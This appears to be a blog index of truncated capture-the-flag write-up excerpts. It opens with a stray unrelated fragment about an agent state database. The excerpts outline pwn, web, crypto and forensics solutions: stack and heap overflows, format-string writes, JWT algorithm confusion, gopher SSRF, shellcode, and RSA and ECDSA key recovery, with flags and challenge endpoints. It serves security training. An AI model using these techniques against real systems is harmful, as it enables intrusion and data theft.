2.1 SQLite Configuration & State (`agent_state.db`)

Checking the settings table reveals the cryptographic and protocol architecture used by cvagent 2.4.1:

Neve

Mon, 26 Oct 2026 00:00:00 +0000

Category: Pwn (blind / remote-only)
Target: nc 0.cloud.chals.io 18435
Flag: isfcr{wr1t3_wh4t_wh3r3_pl4nt_p4th_b4_0p3n_n3v3}

Overview

The service only exposed a TCP endpoint, no binary was provided. It prints:

text

neve relay up.
neve>

neve is a sibling of floe, blizzard, and drif. The protocol is a two-byte big-endian length followed by that many payload bytes:

text

send: 00 05 "hello"
recv: relayed 5.
 neve>

A normal frame is copied into an 88-byte stack buffer without a length check, so this is a stack overflow behind a stack canary.

Poisoned Update

Mon, 26 Oct 2026 00:00:00 +0000

Flag

text

isfcr{6f3944938016591a285bcf5359b97f69}

Summary

The target is a shared VX-410 controller exposed through a JSON API. The intended path is to stage firmware into bank B, boot the trial, pass the boot diagnostic, and confirm the trial. At the time of this run, the shared controller was already in the confirmed phase with a successful diagnostic trial from bank B. Calling /api/confirm therefore returned the flag immediately. No reset or update was required.

Q.E.D. — Prove the Impossible

Mon, 26 Oct 2026 00:00:00 +0000

Challenge summary

We are given qedvm, a static Rust proof checker for a small intuitionistic propositional logic called QPL. The goal is to submit a module whose exported definition has formula bot (falsehood).

The logic itself is sound: there is no axiom and no constructor for bot. The bug is in an optimization inside the checker: successful checks of large case terms are memoized, and the cache key does not contain the full local context. By priming the cache with a valid proof in one context and then reusing the same term in a different context, the checker accepts an invalid case term and therefore accepts bot.

Recovering the Sealed Manifest

Mon, 26 Oct 2026 00:00:00 +0000

Summary

The repository was "tidied up" through a history rewrite: old branches were force-pushed, the pre-rewrite history was left unreachable, and a deleted .env.local was removed from the visible history. However, the old objects were still present in the object database and in the reflog, and an employee's handoff bundle contained an additional hidden fragment.

The offline DR keychain seed was split into five position-labelled fragments (frag-0 … frag-4). Reassembling them in order produced the passphrase for the age-encrypted .secrets/flag.age file.

Rime

Mon, 26 Oct 2026 00:00:00 +0000

Category: Pwn (blind / remote-only) Target: nc 0.cloud.chals.io 24359 Flag: isfcr{l3ngth_pr3f1x_d0esnt_s4v3_y0u_bl1nd_4c8f21}

1. Challenge

No binary was provided, only a TCP service. On connect it prints:

text

rime gauge up. send readings.
reading>

Every input is consumed by a raw read() and answered with the number of bytes read:

text

reading> AAAA
pressure 5 recorded.
reading>

The newline is included in the count. Sending several lines in one TCP segment produces one reading whose count is the whole segment, confirming this is a raw read() loop rather than a line parser.

SILT Field Rack / Revision D

Mon, 26 Oct 2026 00:00:00 +0000

Flag: isfcr{dzzgtexh72kpmivvuypwm2oqbzk6w7t6}

1. Overview

The service bundle silt-revision-d.zip contains:

File	Purpose
`rack.vcd`	Logic-analyzer capture of the SPI service connector
`controller.rom`	SVM1 application bytecode (same on all boards)
`node-00.nor` … `node-06.nor`	ECC-interleaved storage exports, 1024 slots × 144 bytes each
`capsule.bin`	SLC2 sealed export (ChaCha20-Poly1305)
`service-manual.txt`	Hardware / journal / VM specification
`module-notes.txt`	Transport adapters and recovery policies
`export-contract.txt`	Frontier and restore-key definition

The rack stopped during an export. The goal is to reconstruct the recoverable frontier, rebuild the restore key, and open the capsule.

Thaw Ladder

Mon, 26 Oct 2026 00:00:00 +0000

Category: pwn / custom VM / side channel
Target: nc 0.cloud.chals.io 13929
Flag: isfcr{pod_seven_4bde_woke_4364d220_in_bay_c}

1. Challenge

We are given a 7.2 bench kit for thawd, a controller that executes small programs called thaw plans in a made-up 16-bit instruction set, FROSTLANG. The live pod runs an undocumented 7.3 field build. Every TCP connection is a fresh session with fresh per-session randomness. Limits are 16,384 plans and 3,600 seconds per session.

The Export That Never Existed

Mon, 26 Oct 2026 00:00:00 +0000

The goal was to reproduce export job 204 from dispatch.capture, then calculate the SHA-256 of the exact bytes returned by the supplied exporter.

The recovered output is 3,147 bytes, containing 52 items:

text

isfcr{c916c4f7b8ecccf073bf5cd6e815218f3622ba7c3500919f2a6b11f2db891b68}

The output is saved as job204.export. The final replay checks every delivery route, each published meter, and all district settlement totals.

Why simply restoring SQLite was insufficient

The archive is a SQLite container holding recovery records, rather than the appliance database itself. Its important record types are:

The Ledger Access Gate

Mon, 26 Oct 2026 00:00:00 +0000

Target: https://isfcrpesu-ledger.chals.io Category: Web Flag: isfcr{jwt_rs256_hs256_c0nfus10n_l3dg3r_7a2b}

Challenge description

The landing page exposed a tiny API description:

text

ledger gate
-----------
POST /login {"user":"..."} -> a signed session token (role: guest)
GET /pubkey -> service signing public key (PEM)
GET /flag (Authorization: Bearer <token>) -> ledger seal, admins only
flag format: isfcr{...}

The goal: obtain a token with role: admin and read /flag.

Recon

Requesting the public key:

Vesper — Missed-Handover Recovery

Mon, 26 Oct 2026 00:00:00 +0000

Flag: isfcr{fd0a085830b0802f234486bd05c201818fb469ae02c597cd}

1. Overview

The bundle describes a deterministic recovery export from a small RV32IM fixture. An MCU talks to a simulated sensor hub and a two-lane RF bridge, both of which stay powered while the MCU does not. The export contains:

File	Purpose
`vesper.elf`	Installed RV32IM firmware, entry point `0x10000`
`BOARD.md`	Fixture, power, sensor, RF and journal contract
`FORMAT.md`	Handover serialization and sealed-record format
`acquisition.bin`	4096 packed u16 sensor entries
`power.csv`	Per-boot powered-slot range and unpowered-slot count
`journal.csv`	24 diagnostic intervals (6 boots each)
`receipts.bin`	Gateway acceptance records
`fram.bin`	Final 64-byte NVM export
`record.sealed`	ChaCha20-Poly1305 sealed handover record

The task is to recover the powered-slot count Q for every boot, replay the fixture exactly, rebuild the handover serialization from the gateway acceptances, and decrypt record.sealed.

Afterglow — DOS Panel ROM Bitplane Reconstruction

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026 this hardware-adjacent challenge hands you a DOS ROM for a "recovered status panel" that boots under qemu-system-i386 (-drive format=raw,file=panel.rom). In stock emulation it self-tests and shows a factory-printed calibration tag; the real flag for your unit only lights up once the panel is brought "into service". I did not emulate it — the disassembly shows a 32×256 one-bit-per-pixel plane-plane framebuffer (the VGA mode 13h linear buffer at 0xA0000, written byte-per-pixel with 0x00/0xFF values), two render routines (8-bit-per-plane palette source atlas dumped during self-test, and post-service combined frame), a service-code gate (cmp eax, [0x506], then a hlt loop on success — so even the correct hex code greyscreens), and, crucially, flag rendering down at 0x83d4 in the service handler. Everything needed to re-derive it purely from the ROM is present in the shipped scripts, so I reconstructed the framebuffer statically from panel.rom byte plane data.

auth-gw Biased-Nonce ECDSA

Thu, 22 Oct 2026 00:00:00 +0000

Summary

The captured_tokens.json artifact contains ECDSA session-attestation signatures intercepted from "auth-gw" (VLAN 12) on secp256k1 with SHA-256. A leaked commit note in gen_notes.txt shows the signing service truncated its nonces with randbelow(2**250), so every nonce k has zeroed top bits. That bias turns the key equations into a hidden number problem (HNP) solvable with LLL on fpylll, and the recovered private key unlocks the sealed_note.bin AES-256-GCM dropper.

Files

captured_tokens.json — intercepted signatures (message, r, s, hex) plus the server public key.
gen_notes.txt — commit log revealing the nonce truncation.
analyse.py, aibi.py — preliminary statistics and HNP coefficient computation.
recover-d.py — the lattice attack that recovers d.
solve.py — final decryption of sealed_note.bin.
sealed_note.bin — 74-byte encrypted payload.

Analysis

For each signature, s = k⁻¹(z + r·d) mod n. Multiplying by s⁻¹ and dividing by r gives

BGP From Hell

Thu, 22 Oct 2026 00:00:00 +0000

A core-network forensics challenge: an IXP border router's BGP session is captured, and the exfiltrated flag is smuggled inside BGP COMMUNITY attributes of eight UPDATE messages. Each community is XORed with a hash chain over the remaining path attributes, so the payload only appears when the UPDATEs are processed in order.

Files

ixp_border_bgp_stream.pcap
CASE_BRIEF.txt, SHA256SUMS.txt
extracted/solve.py

Analysis

BGP runs over TCP/179; payloads begin with the 19-byte BGP header, and on top of the capture the TCP/IP headers are 54 bytes. The session of interest is the OPEN from the border router followed by eight UPDATEs from 192.0.2.66.

Bit Flip CRT

Thu, 22 Oct 2026 00:00:00 +0000

Two RSA-CRT signatures over the same message, with a hardware glitch flipping a single bit in one signature's computation modulo q. That's the textbook setup for the Bellcore fault attack: faulty and correct signatures share the same p, so their difference is a multiple of p but not N — one gcd with the modulus splits the key.

Files

output.txt — N, e, message, sig_1, sig_2, ciphertext
solve.py

Analysis

With CRT signing, s = m^d mod N is computed as s_p = m^(d mod p-1) mod p and s_q = m^(d mod q-1) mod q, then recombined. If a fault corrupts only one half — here one bit inside the q side computation — then:

Boneh-Durfee

Thu, 22 Oct 2026 00:00:00 +0000

A small-private-exponent RSA challenge placed just beyond Wiener's bound, so continued fractions alone fail. The private exponent is small enough for the Boneh-Durfee lattice attack (bound ≈ N^0.292), which is what the supplied Sage script implements.

Files

public.txt — N, e, c
solve.sage
README.md

Analysis

With e·d - k·φ(N) = 1 and φ(N) = N - p - q + 1, write A = N + 1 and s = p + q:

Broadcast Linear

Thu, 22 Oct 2026 00:00:00 +0000

Håstad's broadcast attack with a twist: the same message is RSA-encrypted under three moduli with e = 3, but the plaintext is first mapped through a known linear padding m' = a·m + b. CRT plus an integer cube root recovers m', and the linear transform inverts trivially.

Files

README.md — description with the padding formula
solve.py

Analysis

Each ciphertext is c_i = (a·m + b)³ mod n_i. Because the padded message is small ((a·m + b)³ < n₁·n₂·n₃), CRT gives the integer cube (a·m + b)³ exactly, not just modulo N:

BYOC

Thu, 22 Oct 2026 00:00:00 +0000

Summary

"Bring Your Own Code" — BYOC's chall.c does exactly what its name promises: it mmaps 200 bytes as RWX, reads up to 200 attacker-controlled bytes into it, and calls it. No bug to find at all; the challenge is straightforward shellcode. The provided solve.py (in the handout/ dir, but clearly a player's solve script — pwntools remote against the challenge host) sends a minimal open/read/write chain that cats /flag.txt.

CKKS Approximate-Decryption Key Recovery

Thu, 22 Oct 2026 00:00:00 +0000

In H7CTF 2026's crypto track, a homomorphic-encryption analytics service leaks enough noise for full key recovery. The service is a minimal CKKS-style scheme over Z_q[x]/(x^N+1) with N = 8, Q = 2^40 - 87, DELTA = 2^25. The flaw is not in the encoding; it is that the service returns the approximate (noisy) decryption of a ciphertext, and that noise is the secret key times the known randomness.

Files

ckks.py - the shipped scheme: encode/decode via the canonical embedding at primitive 2N-th roots, ring_mul, encrypt (b = -a*s + m + e), and decrypt returning approximate slots.
solve.py - the clean attack against the /v1 endpoints.
solve_v2.py - variant against /v2, where each /v2/decrypt answer is uniquely randomized, fixed by averaging repeated decryptions.

Analysis

decrypt computes d = b + a*s and returns decode(d), i.e. the noisy slots. The secret is ternary (small(1) in keygen), so there are only 3^8 = 6561 candidates for s - perfect for brute force. For any ciphertext with known plaintext m and known a:

Common Modulus

Thu, 22 Oct 2026 00:00:00 +0000

The same plaintext encrypted twice under one RSA modulus with two different public exponents, e₁ = 65537 and e₂ = 65539. Since gcd(e₁, e₂) = 1, Bézout coefficients give the plaintext by combining the two ciphertexts — no factorisation needed.

Files

public.txt — N, e₁, ct₁, e₂, ct₂
README.md, solve.py

Analysis

With a·e₁ + b·e₂ = 1, we have

text

m = m^(a·e₁ + b·e₂) = (ct₁)^a · (ct₂)^b (mod N)

The extended Euclidean algorithm produces (a, b), one of which is negative; negative exponents become modular inverses.

Cuspidal Drift

Thu, 22 Oct 2026 00:00:00 +0000

A custom "elliptic curve" cryptosystem with a = 0, b = 0 — the curve is

text

y² = x³

which is singular. Singular curves are not elliptic curves at all: the point group degenerates into either the additive group of the field (a cusp) or the multiplicative group (a node). Here the singularity is a cusp, and the group law collapses to something the attacker can invert directly.

Cut Me

Thu, 22 Oct 2026 00:00:00 +0000

The challenge handed over hereyougo.png, a PNG whose IHDR height field had been shrunk so most of the image was invisible in a normal viewer. Because JPEG-style truncation does not apply to PNGs, the compressed IDAT payload still exists in full — the fix is to recompute the real height from the decompressed scanline count and patch the header. (SunshineCTF 2026, forensics.)

Summary

Feeding hereyougo.png to file or an image viewer shows a sliver of the picture, because the header claims a smaller height than the data actually encodes. The giveaway is that decompressing IDAT yields more bytes than the claimed geometry can account for. solve.py automates the recovery: parse IHDR, concat every IDAT chunk, decompress, derive the true height, rewrite IHDR plus its CRC, and write recovered.png.

FoundryProof Tiny-HDL Equivalent-but-Sabotaged

Thu, 22 Oct 2026 00:00:00 +0000

H7CTF 2026's misc/2 is a hardware-verification challenge with a crypto-challenge smell. The FoundryProof sign-off certifies a combinational 32-bit netlist as equivalent to a golden reference — via a bounded Z3 check which, for the sabotage vector A_AUDIT = 0xDEADBEEF, must still agree bitwise with the reference netlist — and then runs your Certified design once at that audit vector, requiring your output be the sabotage value MAGIC = 0xB105F00D. "You think our sign-off is airtight. It isn't."

GateCache — Heap Reuse Into Another Thread's Session

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026's pwn/1 challenge, the target is gatecache (shipped inside keepalive.zip): a stripped PIE x86-64 C++ service, built on Ubuntu 22.04 / glibc 2.35, that listens on TCP 9006 and dares you to type protocol commands. The process is threaded (it links liburcu-memb/cds_lfht for RCU-style lock-free maps and libsodium for detached signatures) and, critically, a detached worker thread leaves freed session objects behind, which is where the exploit steps in.

Ghost in the Wire

Thu, 22 Oct 2026 00:00:00 +0000

A network-forensics challenge whose answer is hidden in plain sight as a Base85 string in the incident artefacts. Decode it and the flag falls out.

Files

CASE_BRIEF.txt, auditd_syscall.log, bgp_routing_table.txt, iptables.rules, nginx_proxy.conf, netstat_active_conns.txt, core_switch_vlan10_stp.pcap

Analysis

The brief frames this as a TCP ACK-state-machine tracker incident with a large pile of logs. Most of it is noise; the payload is a text blob:

text

Sa57_X>?f5vU_x6a9=cIYhQD8G;}jxZ8T$OF>W(obaFIfYcq0RIXE&geE

The character set (letters, digits, punctuation like >?, $, &) matches Base85 (RFC 1924 / Ascii85 alphabet), not Base64. The alphabetical range and the ~-less alphabet point at Python's base64.b85encode variant.

GitDumper

Thu, 22 Oct 2026 00:00:00 +0000

The GenCyS CTF 2026 challenge folded into this folder is a story-driven intelligence exercise around TheSecureTrust Bank: a mission-kickoff email carrying a nested alert.eml attachment, and — the part that really pays — an exposed .git directory on a staging host. gitdumper.py is my tool for turning that exposure into the attacker's full source tree: it walks the loose Git object database over plain HTTPS and reconstructs a working tree, which is how dump/SecureTrust_Crypto_Evidence.zip came out.

Ground

Thu, 22 Oct 2026 00:00:00 +0000

The "ground" web challenge (SunshineCTF 2026) is the Punxsutawney Orbital Weather Authority's Perpetual Forecast Console. A leftover operator comment in the page source hands out a hidden feed=<url> override parameter, and that override accepts gopher:// — a textbook SSRF with full protocol control. Chaining it to the site's own internal report renderer turns the flag into a rendered PDF we can download.

Summary

The homepage HTML contains a commented-out maintenance form that re-enables the feed URL override, plus a second debug comment showing exactly which feed URL the server last fetched. By POSTing feed=gopher://127.0.0.1:8000/... with a crafted HTTP request, we make the (gopher-speaking) backend perform an arbitrary internal POST to http://127.0.0.1:8000/report, whose response embeds a PDF rendering of the submitted content. That PDF is returned in the page JSON as a base64 data field; extract_pdf.py decodes it to report.pdf, where the recovered flag lives.

H7 Passport — Legacy Attestation Path for Enterprise Tier

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026 this web-style challenge is a WebAuthn/FIDO2 Relying Party ("H7 Passport") with a twist: it accepts three attestation formats (packed, tpm, android-key), but only credentials enrolled at the enterprise tier may drive the privileged action behind /assert/finish. The intended bug, as far as I reconstructed it, is in the legacy attestation path for unregistered ("air-gapped") authenticators and the bespoke authenticator-policy X.509 extension it consults.

Enrollment flow

GET /register/begin costs one Ledger credit and returns rpId, origin, a 32-byte challenge, tier list, and the pinned pubKeyAlg (-7 = ES256). POST /register/finish then trusts the client to supply a correct CBOR attestationObject with fmt, attStmt, and authData. My artifact passport_client.py builds the WebAuthn structures entirely by hand: authData is standard (rpIdHash(32) || flags(1) || signCount(4) || aaguid(16) || credIdLen(2) || credId || COSE_EC2_key), with the user-present (0x01), user-verified (0x04), and attested-credential (0x40) bits set:

Kairo — Adaptive Instruction Classifier

Thu, 22 Oct 2026 00:00:00 +0000

A pwn challenge around kairothd, an "adaptive instruction classification engine": it learns how your program behaves, decides it is trustworthy, and stops double-checking. The binary ships with a small VM-like protocol (load program, query, execute, leak, send) and a stack overflow in the "send" command.

Files

kairothd — target binary
readme.md — brief (nc xploitxctf.quest 9023)
solve.py

Analysis

The protocol is fixed-width: each command is u32 op, u32 arg, u16 len followed by len bytes of data, and every reply is 12 bytes. The solve script walks the binary's command surface:

Kintsugi Vault — Shard Chain, One Byte Chain Piece at a Time

Thu, 22 Oct 2026 00:00:00 +0000

This H7CTF 2026 reverse challenge hands you a static, stripped Linux binary (vmrun, a "shard runtime") and eight-ish .shard files ("guardian agents") whose names are SHA-looking content ids. The chain start is f6f11ad133cab21c96e0185e3411ddc4. Shards accept an 8-byte hex key via vmrun <shard> <key> [decode-table-file], and the chain piece for non-start shards needs a decode table from elsewhere — its decode table is not shipped in the clear. The vault re-attests via a single-use Ed25519 nonce/signature endpoint once the 32-byte custody seed is rebuilt.

KumoSec ChainVault

Thu, 22 Oct 2026 00:00:00 +0000

Summary

Luna CTF hosted an EVM playground ("KumoSec ChainVault") behind a team-token API at http://103.49.131.90 with a JSON-RPC node at /chain/rpc. Two contracts exist: an AuditorRegistry access-gate and a ChainVault holding bounty ETH. The intended-looking chain — become an auditor, then drain the vault — is broken both by careless ownership (a well-known ganache-cli dev key) and by a checks-effects-interactions bug in settleClaim() that lets unregistered payouts repeat.

Ledger — Tcache Poisoning Into free@GOT

Thu, 22 Oct 2026 00:00:00 +0000

pwn/4 of H7CTF 2026 hands you the ledger binary, its exact glibc 2.39 runtime, and matches everything with a classic tcache-overwrite chain on a four-action heap menu.

Recon

The menu is 1) add 2) delete 3) edit 4) view 5) exit. Every note is a fixed 0x50-byte record. Two flaws combine:

view is io.recvn(0x50) on the note, so I can dump the entire stored chunk (add_partial also sends fewer bytes, leaving the rest of the chunk untouched).
edit writes a fresh 0x50 into a freed chunk's data — no dangling-index check, so a deleted chunk can still be rewritten or re-read into tcache.

Step 1 — Tcache leak

Free a 0x60-sized chunk and then view it. In tcache, the first 8 bytes of a freed chunk hold the safe-linked next pointer; for a lone chunk that points to a NULL, so what lands in the chunk is chunk_addr >> 12 — the tcache safe-linking encoding of a NULL:

Linear Guess

Thu, 22 Oct 2026 00:00:00 +0000

An LCG with unknown a, c and known modulus m = 2³² leaks consecutive outputs, then uses the same generator as a keystream to XOR the flag. Recover a and c from three outputs, then predict forward and decrypt.

Files

outputs.txt — six consecutive state outputs
public_info.txt, README.md
flag.enc
solve.py

Analysis

With three consecutive outputs X₀, X₁, X₂:

text

X₁ = a·X₀ + c (mod m)
X₂ = a·X₁ + c (mod m)

Subtracting eliminates c:

LMS Firmware Signer: Leaf Zero for Free

Thu, 22 Oct 2026 00:00:00 +0000

The H7CTF 2026 crypto target in this folder is a firmware-signing service built as an LMS-style hash signature scheme: WOTS one-time leaves wrapped in a Merkle tree (TREE_H = 4, 16 leaves), with the operational flaw that the server's leaf counter resets on demand, so leaf 0 signs everything. The scheme itself (lms.py) is shipped "so the scheme is known" and is explicitly stated to be self-consistent; the vulnerability is entirely service-side. This writeup covers my solve for the leaf-reuse exploit and is related to nothing in crypto/MURMUR-1.2.md (that challenge is a Noise XKpsk3 mesh tap; different primitives).

LUN4R-MU Timing Leak

Thu, 22 Oct 2026 00:00:00 +0000

Summary

The moonchace hardware challenge exposes a tiny VM ("LUN4R-MU") over TCP (103.49.131.90:31337) whose debugger accepts load $rN <imm>, load $rN 0($r0), batch … end, reset, and quit commands, echoing per-operation execution times in nanoseconds. Loading an address inside the protected range 0xA1–0xFF silently speculatively caches a value; a subsequent load of a byte candidate then runs fast (≈20 ns) if the candidate equals the cached byte and slow (≈40 ns) otherwise. Two solver scripts implement a Flush+Reload-style byte oracle against that protected memory and recover its ASCII contents NUL-terminated into flag.txt.

Manifest — Format String Into Clearance

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026's pwn1 challenge, the target binary is literally called manifest (its debug info says manifest.c), and its whole attack surface is a feedback terminal that echoes what you type. That echo is an unguarded printf, and the stack can be coerced into writing to an arbitrary address.

The interface

Live target is a menu loop:

text

1) leave feedback
2) view manifest
3) exit

Option 1 prompts with Leave feedback for the terminal operators: and reads a line, which is fed straight to a printf-style echo (there is no %-filtering — sprintf-style formatting is unfiltered on user input). Option 2 prints [manifest] clearance code: %s, gated by an is_admin boolean: if the clearance isn't set (is_admin initialized to denied), view_manifest prints [!] admin clearance required.. The flag path ([!] flag file missing, driven by fopen/fclose) lives behind the clearance check.

Matrix Over Mind

Thu, 22 Oct 2026 00:00:00 +0000

RSA lifted from scalars to 2×2 matrices over Z/nZ: C = M^e mod n, with the public constants trace(M) = T and det(M) = D. The matrix analogue of RSA still leaks the plaintext because the characteristic polynomial collapses matrix exponentiation to a short recurrence.

Files

output.txt — n, e, T, D, ciphertext matrix C
solve.sage
README.md

Analysis

By Cayley-Hamilton, M satisfies

text

M² - T·M + D·I = 0

so every power of M reduces to a linear combination of I and M modulo that polynomial. Concretely, compute x^e mod (x² - T·x + D) in Z/nZ[x]:

min-beste-venn (Chatflare)

Thu, 22 Oct 2026 00:00:00 +0000

Summary

forensics_min-beste-venn hides a chat conversation inside a capture.pcap of requests to a Cloudflare-fronted web app. Every asset the pair of participants fetches goes through Cloudflare's cache, so the caching layer becomes a covert channel: chunk URIs encode one byte of a conversation by naming a <byte_index><bit_position> on the MSB-side of that byte, and a cf-cache-status: HIT response line marks the bits that carry a 1. The solve.py decoder uses tshark to pull the response headers and URIs and reconstructs the dialogue.

Mirage

Thu, 22 Oct 2026 00:00:00 +0000

Mirage (ISFCR CTF 2026) was a remote binary at 0.cloud.chals.io:23023 that accepted input with an obvious format-string sink. Since only short, one-shot interactions were reliable over WAN, I wrote three small scripts: a stack-slot scanner, a per-slot string extractor, and an interactive prober.

Files

Script	Role
`scan.py`	One persistent connection, sweep `%1$p` … `%200$p` to map populated stack slots
`strings.py`	One connection per index, `%<i>$128s` to treat that slot as a pointer and print it as a string
`probe.py`	Ad-hoc connection for sending arbitrary test inputs against the `>` prompt

Service Behaviour

The target prints a banner and loops on a > prompt, echoing processed input. The prompt-based read loop in probe.py waits for output ending in > :

Mirror

Thu, 22 Oct 2026 00:00:00 +0000

Summary

mirror is a pwn challenge shipped as a PIE x86-64 ELF served over socat (handout/mirror/ Dockerfile EXPOSE 1337). The binary stores records in a global session structure with two record formats (V1 "telemetry" and a V2 masked/legacy layout), and the interplay of a legacy copy source mismatch lets you leak a masked code pointer — then the running session token, XORed onto that pointer value, is used to swap a function pointer for the admin_rescue_shell symbol. All mechanics below are taken from the provided solve.py; no binary analysis beyond the symbols it touches is needed.

Monodromy

Thu, 22 Oct 2026 00:00:00 +0000

Monodromy (ISFCR CTF 2026) hands you a MONOVM3 capsule, two 8x8 matrices, and a stripped ELF that demands "the lost rotation index" before it will say anything useful. The rotation index is a discrete logarithm in a ~2^49 subgroup, and the capsule's Argon2id-hardened seal only opens once that index is known. I recovered it with a parallel Pollard-rho solver in C, then opened the seal with a Python script.

Files

Artifact	Role
`monodromy`	Stripped x86-64 binary; validates the rotation index and its instrument tape
`capsule.bin`	22 MB `MONOVM3` capsule: header, 57-byte ChaCha20-Poly1305 seal, instrument tape
`m0.bin`, `m1.bin`	Two 8x8 matrices of 128-bit little-endian values (1024 bytes each); `M1 = M0^x`
`solve.c`	OpenMP parallel Pollard rho over GF(p²) to recover the rotation index
`seal.py`	Turns the index into the work seed and decrypts the flag seal

Capsule Layout

seal.py's parse function defines the header. The magic is MONOVM3\0, then little-endian fields, then the seal, then the tape:

Neve

Thu, 22 Oct 2026 00:00:00 +0000

Neve (ISFCR CTF 2026) is a noisy-channel statistical inference challenge against the SHARD-24's NEVE sounding head: you hand it symbols 0–15 and it answers with a single biased bit, the bias being a per-cell calibration grade that you must infer. The deliverable in the field challenge is the AES-256-GCM recovery bundle, whose key is just HKDF-SHA256 over all 512 grades — so the whole exploit reduces to reconstructing the calibration table within a fixed sounding budget.

Nostalgia

Thu, 22 Oct 2026 00:00:00 +0000

Summary

crypto_nostalgia is a brute-force-the-seed crypto challenge. The handout chall.py generates the AES-256 key from an LCG run 1337 times over a "nanosecond precision" time seed — but since Python's time.time() returns whole seconds as a float, the effective seed space collapses enough to enumerate. Two independent solvers exist: a Python window search (solve.py) around the current time, and an OpenMP C program (solve.c) that reduces the whole 1337-iteration loop to a single affine map and sweeps all 2^32 seeds.

Paleter

Thu, 22 Oct 2026 00:00:00 +0000

A palette-swap stego challenge: an ordinary PNG whose hidden content lives in the PLTE chunk. The provided palet.py rewrites the palette so exactly one palette index is white and the rest are black; by cycling that index across all 256 values, you recover whichever palette entry the image data actually uses to draw the secret.

Files

atlas.png — the carrier image
palet.py — palette-swap utility
(extracted) XploitX_Stego02_Participants/

Analysis

The script walks the PNG chunk stream, finds PLTE, and rebuilds the palette bytes:

Partial Exposure

Thu, 22 Oct 2026 00:00:00 +0000

RSA where the most significant bits of one prime are leaked — enough that p splits into a known high part and an unknown low part of manageable size. Coppersmith / Howgrave-Graham (univariate) recovers the rest and the modulus factors.

Files

public.txt — N, e, c, p_high, known_bits
solve.sage
README.md

Analysis

Write p = p₀ + x, where p₀ = p_high · 2^shift is the known part and x < X = 2^shift is unknown. Since p | N, the polynomial

PerpGuard — Solana Compute-Unit Exhaustion via a Player CPI Program

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026 this Solana challenge ("perp_guard", target program perp_guard_solve) is about draining a transaction's compute budget through a crafted cross-program invocation, on a harness that lets you replay your own compiled BPF program side by side with the real target. The target binary I compiled is target/deploy/perp_guard_solve.so at the deployed pubkey GvUAk6t9VipHHXtR28TjUGLNuL3yVHj1WjgW9aMQRGm7.

The harness protocol

solve.py speaks a line-based socket protocol:

Upload your program: reply to program pubkey: with the pubkey, then to program len: with the byte length, then the bytes of the .so.
The harness prints a banner with the real program:, user:, market:, obligation: pubkeys.
It then asks num accounts: — and this repeats per instruction round, with a total of 256 rounds streamed in one batch (for round_number in range(1, 257)).

Each round's instruction is submitted as 4\n followed by one account per line, flagged r/w/s just like the Solana AccountMeta model:

Phantom Eclipse

Thu, 22 Oct 2026 00:00:00 +0000

Summary

The phantom_eclipse forensics challenge ships an evidence bundle (evidence/): a .ECL container (artifact.dat) of fourteen sec_NNNN sections, a notes.jpg, a suspicious_image.png carrying steganographic payloads, a capture.pcap, access.log/system.log, a 4 MiB memory dump, and a 129-byte ECLBAK01 encrypted backup. The recovered key is spread across five independently encoded pieces (Base32/Base85/hex literals plus a PNG-adjacent lane, and a sixth 64-byte piece embedded right after the backup header), and the scripts attempt both a raw XOR reconstruction and an AES-256-XTS decryption matrix. No script in the folder records a recovered flag string.

Pset1

Thu, 22 Oct 2026 00:00:00 +0000

Summary

pset1 is an introductory stack overflow NNS CTF pwn challenge. The handout/solve.py captures the whole exploit in 12 lines: the target binary's input handler overflows a stack buffer, and after 72 bytes of padding the saved return address at rsp+72 is overwritten with a hardcoded address 0x401b00 — the byte you need to redirect execution to (the challenge's win path, inferred from the non-PIE address that is the sole constant in the script).

Related Messages

Thu, 22 Oct 2026 00:00:00 +0000

Franklin-Reiter related-message attack: two plaintexts encrypted with the same RSA key (N, e = 3), where m₂ = m₁ + α for a known constant α. Two polynomial relations mod N with a known difference have a common root, and a polynomial GCD recovers it.

Files

public.txt — N, e, c₁, c₂, alpha
solve.py (pure Python), solve.sage
README.md

Analysis

We know:

text

f₁(x) = x^e - c₁ ≡ 0 (mod N)
f₂(x) = (x + α)^e - c₂ ≡ 0 (mod N)

Both vanish at x = m₁. Their monic GCD over Z/NZ[x] is then the linear factor x - m₁, provided e is small (here 3) and the polynomials share exactly one root. The Sage one-liner:

Route 666

Thu, 22 Oct 2026 00:00:00 +0000

An insane-tier core-backbone incident: BGP route flapping between two peers on a transit edge gateway, with a hidden exfiltration target. The core trick is reconstructing route flap damping windows from announce/withdraw events in the capture.

Files

extracted/route_666_mirror.pcap
CASE_BRIEF.txt, bgp_looking_glass.txt, arp_transit_cache.txt, ip_route_fib.txt, cisco_xr_core_dump.txt, junos_rfd_audit.txt, snmp_traps.log
extracted/solve.py

Analysis

Two peers announce the same prefix:

A = 10.0.12.2 — announces, withdraws, re-announces repeatedly
B = 10.0.13.2 — same pattern on a different timer

BGP route-flap damping suppresses a route once its exponentially-decayed penalty exceeds a threshold, then reuses it when the penalty decays below a lower threshold. With a 30-second half-life:

Shattered Oracle

Thu, 22 Oct 2026 00:00:00 +0000

Summary

Lunar CTF's SHATTERED ORACLE is a multi-stage crypto chain. The handout publishes 12 secp256k1 signatures whose nonces leak 40 bits (MSB- or LSB-truncated), a transcript of HMAC-SHA256-attested fragments keyed by a secret derived from the signing key, Shamir pieces over a Mersenne-prime field, and an HKDF+ChaCha20-protected archive (payload.bin). The scripts in this folder — spread across both the outer directory and its crypto/ working subdir — are all iterations on one and the same challenge, so they are documented here together.

Slow Motion

Thu, 22 Oct 2026 00:00:00 +0000

A looping loading animation left running on a harbour crane control panel — a GIF that never finishes. The hidden message is carried in the least-significant bits of the red channel, sampled row-wise across every frame.

Files

slow_motion.gif — the animation
challenge04_slow_motion_README.md — brief
hotwa-solve/solve.py

Analysis

GIF frames are palettised; after converting each frame to RGB, the red channel's LSB looks like noise to the eye but survives the palette quantisation applied by the challenge author. The trick is where to sample: only the first row of each frame (y = 0), iterating x across the width, frame after frame.

Small Private

Thu, 22 Oct 2026 00:00:00 +0000

An RSA key with a deliberately tiny private exponent d — small enough that Wiener's attack recovers it from the public key alone. The modulus, exponent and ciphertext are all that's needed.

Files

public.txt — N, e, c
solve.py, solve.sage
README.md

Analysis

Wiener's theorem: if d < N^0.25 / 3, then d appears as a convergent of the continued fraction expansion of e/N. Because

text

e·d - k·φ(N) = 1 ⇒ e/φ(N) ≈ k/d

